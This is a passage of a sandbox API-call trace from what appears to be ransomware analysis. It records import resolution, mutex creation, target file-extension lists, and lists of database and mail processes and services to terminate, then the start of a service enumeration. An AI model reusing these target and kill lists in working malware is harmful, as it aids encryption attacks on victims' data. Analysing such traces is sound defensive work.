0x76c25371 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetTickCount") returned 0x76c2110c [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="DeleteFileW") returned 0x76c289b3 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="WideCharToMultiByte") returned 0x76c2170d [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c21916 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="Sleep") returned 0x76c210ff [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="LeaveCriticalSection") returned 0x77d92270 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="ReadFile") returned 0x76c23ed3 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="CreateFileW") returned 0x76c23f5c [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="OpenMutexW") returned 0x76c25151 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="EnterCriticalSection") returned 0x77d922b0 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="WaitForMultipleObjects") returned 0x76c24220 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="lstrcmpiW") returned 0x76c3d5cd [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="lstrcmpiA") returned 0x76c23e8e [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="DeleteCriticalSection") returned 0x77da45f5 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="ReleaseMutex") returned 0x76c2111e [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="CloseHandle") returned 0x76c21410 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="GetVersion") returned 0x76c24467 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="CreateThread") returned 0x76c234d5 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c24173 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="QueryPerformanceCounter") returned 0x76c21725 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="QueryPerformanceFrequency") returned 0x76c241f0 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="GetCurrentProcessId") returned 0x76c211f8 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="SetFileAttributesW") returned 0x76c3d4f7 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="GetVolumeInformationW") returned 0x76c3c860 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="WriteFile") returned 0x76c21282 [0230.394] GetProcAddress (hModule=0x76c10000, lpProcName="SetFilePointerEx") returned 0x76c3c807 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="SetEndOfFile") returned 0x76c3ce2e [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="FindFirstFileW") returned 0x76c24435 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="GetProcessHeap") returned 0x76c214e9 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="HeapReAlloc") returned 0x77db1f6e [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="HeapAlloc") returned 0x77d9e026 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="HeapFree") returned 0x76c214c9 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="CreatePipe") returned 0x76ca415b [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="SetHandleInformation") returned 0x76c3195c [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="CreateProcessW") returned 0x76c2103d [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="CompareStringW") returned 0x76c23bca [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="CompareStringA") returned 0x76c23c5a [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="OpenProcess") returned 0x76c21986 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="TerminateProcess") returned 0x76c3d802 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="GetSystemTime") returned 0x76c25a96 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="SystemTimeToFileTime") returned 0x76c25a7e [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="GetLastError") returned 0x76c211c0 [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c4735f [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="Process32NextW") returned 0x76c4896c [0230.395] GetProcAddress (hModule=0x76c10000, lpProcName="Process32FirstW") returned 0x76c48baf [0230.395] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76270000 [0230.405] GetProcAddress (hModule=0x76270000, lpProcName="RegOpenKeyExW") returned 0x7628468d [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="RegQueryValueExW") returned 0x762846ad [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="RegSetValueExW") returned 0x762814d6 [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="RegCloseKey") returned 0x7628469d [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="OpenProcessToken") returned 0x76284304 [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="GetTokenInformation") returned 0x7628431c [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="OpenSCManagerW") returned 0x7627ca64 [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="OpenServiceW") returned 0x7627ca4c [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="CloseServiceHandle") returned 0x7628369c [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="ControlService") returned 0x76297144 [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="QueryServiceStatus") returned 0x76282a86 [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="EnumDependentServicesW") returned 0x76271e3a [0230.409] GetProcAddress (hModule=0x76270000, lpProcName="EnumServicesStatusExW") returned 0x7627b466 [0230.409] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75b40000 [0230.421] GetProcAddress (hModule=0x75b40000, lpProcName="SystemParametersInfoW") returned 0x75b590d3 [0230.421] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76d20000 [0230.424] GetProcAddress (hModule=0x76d20000, lpProcName="ShellExecuteExW") returned 0x76d41e46 [0230.433] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77d70000 [0230.433] GetProcAddress (hModule=0x77d70000, lpProcName="NtQuerySystemInformation") returned 0x77d8fda0 [0230.433] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74090000 [0230.440] GetProcAddress (hModule=0x74090000, lpProcName="WNetCloseEnum") returned 0x74092dd6 [0230.440] GetProcAddress (hModule=0x74090000, lpProcName="WNetOpenEnumW") returned 0x74092f06 [0230.440] GetProcAddress (hModule=0x74090000, lpProcName="WNetEnumResourceW") returned 0x74093058 [0230.440] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75e30000 [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="WSAStartup") returned 0x75e33ab2 [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="socket") returned 0x75e33eb8 [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="send") returned 0x75e36f01 [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="recv") returned 0x75e36b0e [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="connect") returned 0x75e36bdd [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="closesocket") returned 0x75e33918 [0230.467] GetProcAddress (hModule=0x75e30000, lpProcName="gethostbyname") returned 0x75e47673 [0230.468] GetProcAddress (hModule=0x75e30000, lpProcName="inet_addr") returned 0x75e3311b [0230.468] GetProcAddress (hModule=0x75e30000, lpProcName="ntohl") returned 0x75e32d57 [0230.468] GetProcAddress (hModule=0x75e30000, lpProcName="htonl") returned 0x75e32d57 [0230.468] GetProcAddress (hModule=0x75e30000, lpProcName="htons") returned 0x75e32d8b [0230.468] GetProcessHeap () returned 0x530000 [0230.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20) returned 0x544390 [0230.468] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6616993151) returned 1 [0230.468] GetTickCount () returned 0x1130158 [0230.468] GetCurrentProcessId () returned 0x558 [0230.468] GetTickCount () returned 0x1130158 [0230.468] GetTickCount () returned 0x1130158 [0230.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20) returned 0x5443b8 [0230.468] GetVersion () returned 0x1db10106 [0230.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7) returned 0x533978 [0230.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x540e98 [0230.468] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540e98, Size=0x20) returned 0x544408 [0230.468] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544408, Size=0x40) returned 0x544978 [0230.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x544c28 [0230.469] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJA") returned 0x0 [0230.469] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_C3A2BJA") returned 0x84 [0230.469] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x533978 | out: hHeap=0x530000) returned 1 [0230.469] lstrlenW (lpString="Global\\syncronize_") returned 18 [0230.469] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544978 | out: hHeap=0x530000) returned 1 [0230.469] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7) returned 0x533978 [0230.469] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x540e98 [0230.469] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540e98, Size=0x20) returned 0x544408 [0230.469] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544408, Size=0x40) returned 0x544978 [0230.469] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x554c30 [0230.469] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJU") returned 0x0 [0230.469] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_C3A2BJU") returned 0x88 [0230.469] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x533978 | out: hHeap=0x530000) returned 1 [0230.469] lstrlenW (lpString="Global\\syncronize_") returned 18 [0230.469] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544978 | out: hHeap=0x530000) returned 1 [0230.469] GetVersion () returned 0x1db10106 [0230.469] GetCurrentProcess () returned 0xffffffff [0230.469] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0230.469] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0230.469] CloseHandle (hObject=0x8c) returned 1 [0230.470] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x533978 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x540e98 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540e98, Size=0x20) returned 0x544408 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544408, Size=0x40) returned 0x544978 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544978, Size=0x80) returned 0x544978 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544978, Size=0x100) returned 0x544978 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x34) returned 0x544a80 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x540a88 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x540a98 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x540aa8 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x540e98 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544ac0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x540eb0 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544ac0, Size=0x8) returned 0x544ac0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x540ec8 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544ac0, Size=0x10) returned 0x544ac0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x540ee0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x540ef8 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544ac0, Size=0x20) returned 0x544ac0 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x540f10 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x540f28 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540a88, Size=0x8) returned 0x540a88 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540a98, Size=0x8) returned 0x540a98 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x544ae8 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x540f40 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544af8 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x540f58 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x8) returned 0x544af8 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564c50 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x10) returned 0x544af8 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564c68 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x544b10 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x20) returned 0x544b20 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540a88, Size=0x10) returned 0x544af8 [0230.470] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540a98, Size=0x10) returned 0x544b48 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x540a88 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564c80 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x540a98 [0230.470] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564c98 [0230.471] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x540a98, Size=0x8) returned 0x540a98 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x544b60 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564cb0 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544b70 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564cc8 [0230.471] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544b70, Size=0x8) returned 0x544b70 [0230.471] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x20) returned 0x544b80 [0230.471] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544b48, Size=0x20) returned 0x544ba8 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x544b48 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564ce0 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544bd0 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x564cf8 [0230.471] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544bd0, Size=0x8) returned 0x544bd0 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x565038 [0230.471] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x565058 [0230.471] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0230.471] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544978 | out: hHeap=0x530000) returned 1 [0230.471] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0230.482] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d10 [0230.482] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d10, Size=0x20) returned 0x544610 [0230.482] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x5449d0 [0230.482] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5449d0, Size=0x80) returned 0x5449d0 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5449d0, Size=0x100) returned 0x565330 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d10 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d10, Size=0x20) returned 0x544610 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x5449d0 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5449d0, Size=0x80) returned 0x5449d0 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5449d0, Size=0x100) returned 0x565438 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564d10 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x8) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x5449d0 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x10) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x5449f0 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a) returned 0x544610 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x20) returned 0x544a10 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c) returned 0x544638 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16) returned 0x544a38 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a) returned 0x544660 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x564d40 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x40) returned 0x565540 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x8) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3c) returned 0x565588 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x10) returned 0x544af8 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x544a58 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x5655d0 [0230.483] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544af8, Size=0x20) returned 0x5655f0 [0230.483] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24) returned 0x565618 [0230.483] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0230.483] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565330 | out: hHeap=0x530000) returned 1 [0230.483] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0230.483] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565438 | out: hHeap=0x530000) returned 1 [0230.483] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x565b98 [0233.021] EnumServicesStatusExW (in: hSCManager=0x565b98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0233.026] GetLastError () returned 0xea [0233.026] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa08) returned 0x5694a0 [0233.026] EnumServicesStatusExW (in: hSCManager=0x565b98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5694a0, cbBufSize=0xa08, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5694a0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0233.030] CloseServiceHandle (hSCObject=0x565b98) returned 1 [0233.101] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0233.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.101] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0233.101] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0233.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0233.101] lstrlenW (lpString="AudioSrv") returned 8 [0233.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0233.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0233.101] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0233.102] lstrlenW (lpString="BFE") returned 3 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0233.102] lstrlenW (lpString="CscService") returned 10 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0233.102] lstrlenW (lpString="DcomLaunch") returned 10 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0233.102] lstrlenW (lpString="Dhcp") returned 4 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0233.102] lstrlenW (lpString="Dnscache") returned 8 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0233.102] lstrlenW (lpString="eventlog") returned 8 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0233.102] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0233.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0233.102] lstrlenW (lpString="EventSystem") returned 11 [0233.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0233.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0233.102] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0233.103] lstrlenW (lpString="gpsvc") returned 5 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0233.103] lstrlenW (lpString="lmhosts") returned 7 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0233.103] lstrlenW (lpString="MMCSS") returned 5 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0233.103] lstrlenW (lpString="nsi") returned 3 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 